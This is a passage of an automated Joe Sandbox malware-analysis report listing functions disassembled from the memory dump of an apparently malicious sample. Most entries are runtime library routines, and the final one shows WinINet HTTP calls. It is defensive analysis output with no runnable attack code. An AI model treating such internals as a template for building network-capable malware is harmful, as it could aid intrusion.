Part of subcall function 00D3FC9A: CreateTimerQueueTimer.KERNEL32(?,?,00000000,?,?,00D4557C,00000008,?,00D44870,?,00000000,00D47AF7,?,7FFFFFFF,7FFFFFFF,00000000), ref: 00D3FCB2

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00D44895

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: List$HeadInitialize$Timer$ArrayCreateHashQueueRegister$AsyncConcurrency::details::Concurrency::details::platform::__Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorLastLibraryLoadObjectSingleWaitstd::bad_exception::bad_exception
String ID:
API String ID: 2750799244-0
Opcode ID: 212808f0105e49488d0f9bcd59e8d70c230a65e581f70fdb5bb782748990439e
Instruction ID: b87d0939d5e57933540e2e1142878f055c89ef3f1679bb12268996c92fe4fb41
Opcode Fuzzy Hash: 212808f0105e49488d0f9bcd59e8d70c230a65e581f70fdb5bb782748990439e
Instruction Fuzzy Hash: 12813CB0A11B56ABD7189F74C845BD9FBA8FF09700F50421AF428D7281DBB4A664CBF1

Uniqueness

Uniqueness Score: -1.00%

Function 00D42923 Relevance: 19.7, APIs: 13, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::RetrieveSystemVersionInformation.LIBCONCRT ref: 00D42932

Part of subcall function 00D43C1D: GetVersionExW.KERNEL32(?), ref: 00D43C41
Part of subcall function 00D43C1D: Concurrency::details::WinRT::Initialize.LIBCONCRT ref: 00D43CE0

Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 00D42946
Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00D42967
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00D429D0
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00D42A04

Part of subcall function 00D408DE: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 00D408FE

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00D42A84

Part of subcall function 00D4244D: Concurrency::details::platform::__GetLogicalProcessorInformationEx.LIBCONCRT ref: 00D42461

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00D42ACC

Part of subcall function 00D408B3: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00D408CF

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00D42AE0
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00D42AF1
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00D42B3E
Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 00D42B63
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00D42B6F

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Manager::Resource$Affinity$Apply$Restrictions$Information$Topology$CaptureProcessRestriction::Version$CleanupConcurrency::details::platform::__FindGroupInitializeLimitsLogicalProcessorRetrieveSystem
String ID:
API String ID: 4140532746-0
Opcode ID: f4a5a6941d4d2efe4d1faa498b1ae8821fb5795baec3f7bb1e4d830038497243
Instruction ID: 4e7db4308fe550c22a61d3c0bfabf40856bf57d1b24d7b4a54ba279c53dc31c0
Opcode Fuzzy Hash: f4a5a6941d4d2efe4d1faa498b1ae8821fb5795baec3f7bb1e4d830038497243
Instruction Fuzzy Hash: 10819231A106569BCB18DFA8E8916BDBBF1FF68310B98402DE885E7354D730AD41CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 00D5F2B0 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00D5F2F4

Part of subcall function 00D5EE8D: _free.LIBCMT ref: 00D5EEAA
Part of subcall function 00D5EE8D: _free.LIBCMT ref: 00D5EEBC
Part of subcall function 00D5EE8D: _free.LIBCMT ref: 00D5EECE
Part of subcall function 00D5EE8D: _free.LIBCMT ref: 00D5EEE0
Part of subcall function 00D5EE8D: _free.LIBCMT ref: 00D5EEF2
Part of subcall function 00D5EE8D: _free.LIBCMT ref: 00D5EF04
Part of subcall function 00D5EE8D: _free.LIBCMT ref: 00D5EF16
Part of subcall function 00D5EE8D: _free.LIBCMT ref: 00D5EF28
Part of subcall function 00D5EE8D: _free.LIBCMT ref: 00D5EF3A
Part of subcall function 00D5EE8D: _free.LIBCMT ref: 00D5EF4C
Part of subcall function 00D5EE8D: _free.LIBCMT ref: 00D5EF5E
Part of subcall function 00D5EE8D: _free.LIBCMT ref: 00D5EF70
Part of subcall function 00D5EE8D: _free.LIBCMT ref: 00D5EF82

_free.LIBCMT ref: 00D5F2E9

Part of subcall function 00D5A7F5: HeapFree.KERNEL32(00000000,00000000,?,00D5F01E,?,00000000,?,?,?,00D5F045,?,00000007,?,?,00D5F447,?), ref: 00D5A80B
Part of subcall function 00D5A7F5: GetLastError.KERNEL32(?,?,00D5F01E,?,00000000,?,?,?,00D5F045,?,00000007,?,?,00D5F447,?,?), ref: 00D5A81D

_free.LIBCMT ref: 00D5F30B
_free.LIBCMT ref: 00D5F320
_free.LIBCMT ref: 00D5F32B
_free.LIBCMT ref: 00D5F34D
_free.LIBCMT ref: 00D5F360
_free.LIBCMT ref: 00D5F36E
_free.LIBCMT ref: 00D5F379
_free.LIBCMT ref: 00D5F3B1
_free.LIBCMT ref: 00D5F3B8
_free.LIBCMT ref: 00D5F3D5
_free.LIBCMT ref: 00D5F3ED

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 76155868e449ef000d1de9281b13d4a18bc851da32aba03fc5b871eec6850e44
Instruction ID: 40f8a4e3ab279c9713cf2d2232c38a80b4234025f5dde97efa0cb3337107d365
Opcode Fuzzy Hash: 76155868e449ef000d1de9281b13d4a18bc851da32aba03fc5b871eec6850e44
Instruction Fuzzy Hash: 6F313931604201DEFF20AB79D885B5A73E9EF04352F184929EC58DA1A1EE71ED898B71

Uniqueness

Uniqueness Score: -1.00%

Function 00D3FB61 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 60libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,00D43CD7), ref: 00D3FB6F
GetProcAddress.KERNEL32(00000000,SetThreadGroupAffinity), ref: 00D3FB7D
GetProcAddress.KERNEL32(00000000,GetThreadGroupAffinity), ref: 00D3FB8B
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumberEx), ref: 00D3FBB9
GetLastError.KERNEL32(?,?,?,00D43CD7), ref: 00D3FBD4
GetLastError.KERNEL32(?,?,?,00D43CD7), ref: 00D3FBE0
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00D3FBF6

Strings

kernel32.dll, xrefs: 00D3FB6A
SetThreadGroupAffinity, xrefs: 00D3FB77
GetCurrentProcessorNumberEx, xrefs: 00D3FBAE
GetThreadGroupAffinity, xrefs: 00D3FB83

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorHandleModule
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 1654681794-465693683
Opcode ID: 83134549eafc7ad802690c59e886d700b7a0b8c986a9cca9cf3fc805c0554e66
Instruction ID: 5ac27a9e631563a8de4f1b9307b64af35d89f5871777b554a3f033f01e0d477e
Opcode Fuzzy Hash: 83134549eafc7ad802690c59e886d700b7a0b8c986a9cca9cf3fc805c0554e66
Instruction Fuzzy Hash: B9012275A04314EFC7107BB9AC4AF6BBEECEE00360714442AB809D2291FA74D4088770

Uniqueness

Uniqueness Score: -1.00%

Function 00D61A0C Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D616C5: CreateFileW.KERNEL32(00000000,00000000,?,00D61AB5,?,?,00000000,?,00D61AB5,00000000,0000000C), ref: 00D616E2

GetLastError.KERNEL32 ref: 00D61B20
__dosmaperr.LIBCMT ref: 00D61B27
GetFileType.KERNEL32(00000000), ref: 00D61B33
GetLastError.KERNEL32 ref: 00D61B3D
__dosmaperr.LIBCMT ref: 00D61B46
CloseHandle.KERNEL32(00000000), ref: 00D61B66
CloseHandle.KERNEL32(00D5A692), ref: 00D61CB3
GetLastError.KERNEL32 ref: 00D61CE5
__dosmaperr.LIBCMT ref: 00D61CEC

Strings

H, xrefs: 00D61C71

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: fe1c63596bbf2593b7e567d274041839583312dedb7d49d6cd3fbd2af3fa39bc
Instruction ID: 179e9bf45626d2644b63980e5a4fa55ab30eaf80ebce4ce188838926708a81e2
Opcode Fuzzy Hash: fe1c63596bbf2593b7e567d274041839583312dedb7d49d6cd3fbd2af3fa39bc
Instruction Fuzzy Hash: 19A12536A142599FCF199F68DC51BAE3BB1EB06325F2C4159F801EB391EB348906CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D52A60 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00D52A72

Part of subcall function 00D525D1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00D525F4

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00D52A93
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00D52AA0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00D52AEE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00D52B96
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00D52BC8

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 053021a493c0507c6070a93d5a2055e6f05b437389bb8b629a6cee7fdd00c257
Instruction ID: 22f54cf6319018bdbf33397c43b02f174809641acab2db5b1f234eb3304bda58
Opcode Fuzzy Hash: 053021a493c0507c6070a93d5a2055e6f05b437389bb8b629a6cee7fdd00c257
Instruction Fuzzy Hash: 31717B30900249ABDF15DF58C981ABEBBB2EF56345F084099EC516B252C732DD1EDB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D55395 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00D55490
type_info::operator==.LIBVCRUNTIME ref: 00D554B7
___TypeMatch.LIBVCRUNTIME ref: 00D555C3
IsInExceptionSpec.LIBVCRUNTIME ref: 00D5569E
_UnwindNestedFrames.LIBCMT ref: 00D55725
CallUnexpected.LIBVCRUNTIME ref: 00D55740

Strings

csm, xrefs: 00D554EE
csm, xrefs: 00D5543D
csm, xrefs: 00D553D0

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: f03b8274864b36f89f3e27b2d936a78cae19d4b7e682adb276b1d5ea0ef56acf
Instruction ID: d4478b0a75be18c43045819149b80c8f1ebbbd7edec0decc9b74ed7e10c85ba7
Opcode Fuzzy Hash: f03b8274864b36f89f3e27b2d936a78cae19d4b7e682adb276b1d5ea0ef56acf
Instruction Fuzzy Hash: 4CC1B071800A09DFCF16DF94E8A09AEBBB5FF04312F18055AEC016B209D731DA69CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D46ACB Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00D46B10
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00D46B42
List.LIBCONCRT ref: 00D46B7D
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00D46B8E
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00D46BAA
List.LIBCONCRT ref: 00D46BE5
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00D46BF6
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00D46C11
List.LIBCONCRT ref: 00D46C4C
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00D46C59

Part of subcall function 00D45FD0: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00D45FE8
Part of subcall function 00D45FD0: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00D45FFA

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 28269a52f844bd6b0bb11319d7da6b153bd69c826bd19e1cc5584f753a31954b
Instruction ID: 0f1c6a2f23dfbd20d1131051f9f9ab0d2dc77e109da254eb86510fda5c21463f
Opcode Fuzzy Hash: 28269a52f844bd6b0bb11319d7da6b153bd69c826bd19e1cc5584f753a31954b
Instruction Fuzzy Hash: 8A514F71A00219ABDB08DF54C595BEDB7B8FF09304F044069E946AB282DB34EE45CFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5AD3B Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D5AD51

Part of subcall function 00D5A7F5: HeapFree.KERNEL32(00000000,00000000,?,00D5F01E,?,00000000,?,?,?,00D5F045,?,00000007,?,?,00D5F447,?), ref: 00D5A80B
Part of subcall function 00D5A7F5: GetLastError.KERNEL32(?,?,00D5F01E,?,00000000,?,?,?,00D5F045,?,00000007,?,?,00D5F447,?,?), ref: 00D5A81D

_free.LIBCMT ref: 00D5AD5D
_free.LIBCMT ref: 00D5AD68
_free.LIBCMT ref: 00D5AD73
_free.LIBCMT ref: 00D5AD7E
_free.LIBCMT ref: 00D5AD89
_free.LIBCMT ref: 00D5AD94
_free.LIBCMT ref: 00D5AD9F
_free.LIBCMT ref: 00D5ADAA
_free.LIBCMT ref: 00D5ADB8

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 799047cbe485ccb9932605ff4276e1065889698a17187d7f0f79c4f783a0dd8d
Instruction ID: 3c46818606d573eb0a7fa8e333b3ea2c8ff0f2dd018e0ce15ee0bc74a9a0ac7f
Opcode Fuzzy Hash: 799047cbe485ccb9932605ff4276e1065889698a17187d7f0f79c4f783a0dd8d
Instruction Fuzzy Hash: 3A218976900118EFCF41EF98C881DDD7BB5EF08341B004266B9159B121EB31DB988BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D47455 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 80threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00D474A1
SwitchToThread.KERNEL32(?), ref: 00D474C4
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00D474E3
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00D474FF
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00D4750A
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D47531

Strings

ppVirtualProcessorRoots, xrefs: 00D47529
count, xrefs: 00D4746F

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementSwitchThreadstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3791123369-3650809737
Opcode ID: 2a64863769591b1830d252d7715f7bd5e64254662724dc9baf480837b67cc154
Instruction ID: 73af291cdfacc7ed26965c5a997815eb9da678b4b3b38d3421be011dfca16f3d
Opcode Fuzzy Hash: 2a64863769591b1830d252d7715f7bd5e64254662724dc9baf480837b67cc154
Instruction Fuzzy Hash: 34213274A00219AFCF04EFA9C5959ADBBB5FF49350F1440A9E905A7391DB30AE05CF70

Uniqueness

Uniqueness Score: -1.00%

Function 00D46F0D Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00D46F27
GetCurrentProcess.KERNEL32 ref: 00D46F2F
DuplicateHandle.KERNEL32(00000000,000000FF,00000000,00000000,00000000,00000000,00000002), ref: 00D46F44
SafeRWList.LIBCONCRT ref: 00D46F64

Part of subcall function 00D44F5F: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00D44F70
Part of subcall function 00D44F5F: List.LIBCMT ref: 00D44F7A

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D46F76
GetLastError.KERNEL32 ref: 00D46F85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00D46F9B

Strings

eventObject, xrefs: 00D46F6E

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: CurrentListProcess$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateErrorHandleLastLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 165577817-1680012138
Opcode ID: 9f1c67bb1d85417af6c0da4dbd5f68697d01b6ffb1f099f5c02f62e59bf3e6f5
Instruction ID: f12dbc4114fa7a4f8cffbd8d24310fbbe753fdb90e69b9c6aeef69f2eb849b01
Opcode Fuzzy Hash: 9f1c67bb1d85417af6c0da4dbd5f68697d01b6ffb1f099f5c02f62e59bf3e6f5
Instruction Fuzzy Hash: 4711E571500304EBCB14EBA4DC4AFEE7B68AF04311F648155B65AE61D1EB70DA48C771

Uniqueness

Uniqueness Score: -1.00%

Function 00D2A922 Relevance: 13.8, APIs: 9, Instructions: 341networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00D78E24,00000000,00000000,00000000,00000000), ref: 00D2A95C
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00D2A980
HttpOpenRequestA.WININET(?,00000000), ref: 00D2A9CA
HttpSendRequestA.WININET(?,00000000), ref: 00D2AA8A
InternetReadFile.WININET(?,?,000003FF,?), ref: 00D2AB3C
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 00D2ABF0
InternetCloseHandle.WININET(?), ref: 00D2AC17
InternetCloseHandle.WININET(?), ref: 00D2AC1F
InternetCloseHandle.WININET(?), ref: 00D2AC27

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSend
String ID:
API String ID: 1354133546-0
Opcode ID: 16b5aacbcf2584fb5c5311ee95b6897fc5c8bc231394365cef52c8dc3aef3382
